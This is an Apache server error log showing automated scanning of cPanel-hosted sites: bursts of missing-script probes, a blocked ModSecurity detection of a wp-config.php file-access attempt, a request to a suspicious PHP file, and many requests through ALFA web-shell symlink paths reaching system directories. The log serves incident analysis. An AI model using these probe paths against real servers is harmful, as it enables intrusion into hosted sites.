[Sat Oct 24 20:11:45.742950 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.771959 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.800893 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.829802 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.858801 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.888310 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.917455 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.946409 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.975411 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.004810 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.033771 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.063156 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.092185 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.121741 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.150663 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.179911 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.208884 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.238014 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.266855 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.295650 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.324523 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.353706 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.382964 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.412322 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.441989 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.471078 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.500506 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.530311 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.559777 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.589115 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.618428 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.650021 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.679399 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.709150 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.737915 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.767031 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.796298 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.825438 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.854703 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.883765 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.912510 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.941523 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:46.971297 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.000819 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.030283 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.059818 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.088953 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.118034 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.148093 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.236502 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.266191 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.295699 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.325817 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.385357 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.415244 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.445415 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.505166 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.535050 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.594400 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.623996 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.687099 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.717524 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.747469 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.777406 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.808157 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.853850 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:47.971677 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.001105 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.031087 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.061157 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.091351 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.121614 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.151117 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.180751 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.211232 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.241357 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.271307 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.301344 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.331444 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.420794 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.450740 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.510142 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.540228 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.629268 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.660452 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.809267 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.898733 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.941771 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:48.991774 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.102591 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.132488 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.309337 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.339279 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.518683 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.560285 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.677632 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:49.708055 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.003444 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.180349 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.227.234.246:39807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/pcieport/uevent
[Sat Oct 24 20:11:50.183535 2026] [proxy_fcgi:error] [pid 2724376:tid 2724376] [client 35.238.129.244:54096] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.270532 2026] [core:crit] [pid 2724376:tid 2724376] (13)Permission denied: [client 35.238.129.244:54096] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 20:11:50.390221 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.481785 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.600855 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:50.660017 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:52.422381 2026] [security2:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/wp-includes/pomo/xwsoooo.php"] [unique_id "at1JSDKiZtbKEGWJKoLVFQAAACE"]
[Sat Oct 24 20:11:52.422430 2026] [security2:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/wp-includes/pomo/xwsoooo.php"] [unique_id "at1JSDKiZtbKEGWJKoLVFQAAACE"]
[Sat Oct 24 20:11:52.511701 2026] [security2:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-includes/css/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/wp-includes/css/wp-config.php"] [unique_id "at1JSDKiZtbKEGWJKoLVGAAAACE"]
[Sat Oct 24 20:11:52.512014 2026] [security2:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/wp-includes/css/wp-config.php"] [unique_id "at1JSDKiZtbKEGWJKoLVGAAAACE"]
[Sat Oct 24 20:11:52.512426 2026] [security2:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/wp-includes/css/wp-config.php"] [unique_id "at1JSDKiZtbKEGWJKoLVGAAAACE"]
[Sat Oct 24 20:11:53.016943 2026] [proxy_fcgi:error] [pid 2693020:tid 2693020] [client 35.238.129.244:54106] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:55.199397 2026] [proxy_fcgi:error] [pid 2693034:tid 2693034] [client 35.238.129.244:57786] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:55.461974 2026] [proxy_fcgi:error] [pid 2693034:tid 2693034] [client 35.238.129.244:57786] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:55.923196 2026] [proxy_fcgi:error] [pid 2693034:tid 2693034] [client 35.238.129.244:57786] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:12:00.243256 2026] [security2:error] [pid 2692918:tid 2692918] [client 104.28.50.19:36023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/bullet.php"] [unique_id "at1JQ7UNAjBk2uOT2T-GsAAAAAo"]
[Sat Oct 24 20:12:00.243288 2026] [security2:error] [pid 2692918:tid 2692918] [client 104.28.50.19:36023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/bullet.php"] [unique_id "at1JQ7UNAjBk2uOT2T-GsAAAAAo"]
[Sat Oct 24 20:12:10.609514 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 66.132.172.214:6668] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:12:26.234281 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.84.169.196:17935] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:12:34.129946 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.227.156.153:23039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:12:42.153411 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.194.139.149:60487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:12:46.186701 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.243.63.52:57222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:12:50.229245 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.87.62.248:1497] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:12:54.143973 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.225.45.252:4675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:02.187251 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.225.199.17:60732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:07.263651 2026] [security2:error] [pid 2693020:tid 2693020] [client 43.159.139.164:59182] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1/"] [unique_id "at1JkzKiZtbKEGWJKoLVNwAAACE"]
[Sat Oct 24 20:13:11.407888 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.203.111.15:12478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:30.213468 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.221.244.28:65128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:34.184958 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.219.80.71:61372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:50.324078 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.204.82:34025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:13:54.149267 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 52.3.104.214:48832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:05.543807 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.202:21726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/resource0
[Sat Oct 24 20:14:06.313947 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 184.73.239.35:31373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:06.314152 2026] [security2:error] [pid 2692918:tid 2692918] [client 184.73.239.35:31373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:1f/sun"] [unique_id "at1JzrUNAjBk2uOT2T-GtQAAAAo"]
[Sat Oct 24 20:14:06.314182 2026] [security2:error] [pid 2692918:tid 2692918] [client 184.73.239.35:31373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:1f/sun"] [unique_id "at1JzrUNAjBk2uOT2T-GtQAAAAo"]
[Sat Oct 24 20:14:14.242265 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.210.155.69:9044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:18.376060 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.224.9.144:9877] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty0/subsystem/ttyS2/close_delay
[Sat Oct 24 20:14:22.132925 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.192.125.239:30051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:23.528231 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.202:15204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:30.249048 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.231.181.240:65494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:34.438564 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.21.62.139:24327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:14:50.190702 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 34.194.233.48:60092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/rescan
[Sat Oct 24 20:14:58.192898 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.210.114.189:40742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/module/drm/holders/drm_kms_helper/holders/cirrus/uevent
[Sat Oct 24 20:14:58.193558 2026] [security2:error] [pid 2693035:tid 2693035] [client 3.210.114.189:40742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/module/drm/holders/drm_kms_helper/holders/cirrus/uevent"] [unique_id "at1KAt3lMH_Ldre-PZttigAAACk"]
[Sat Oct 24 20:14:58.193661 2026] [security2:error] [pid 2693035:tid 2693035] [client 3.210.114.189:40742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/module/drm/holders/drm_kms_helper/holders/cirrus/uevent"] [unique_id "at1KAt3lMH_Ldre-PZttigAAACk"]
[Sat Oct 24 20:15:14.247811 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 50.19.102.70:11579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:15:18.186124 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.217.171.106:39810] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:15:38.251515 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.177.42:51169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:15:46.230591 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 23.23.103.31:7475] AH02013: coalesce failed to read from data bucket
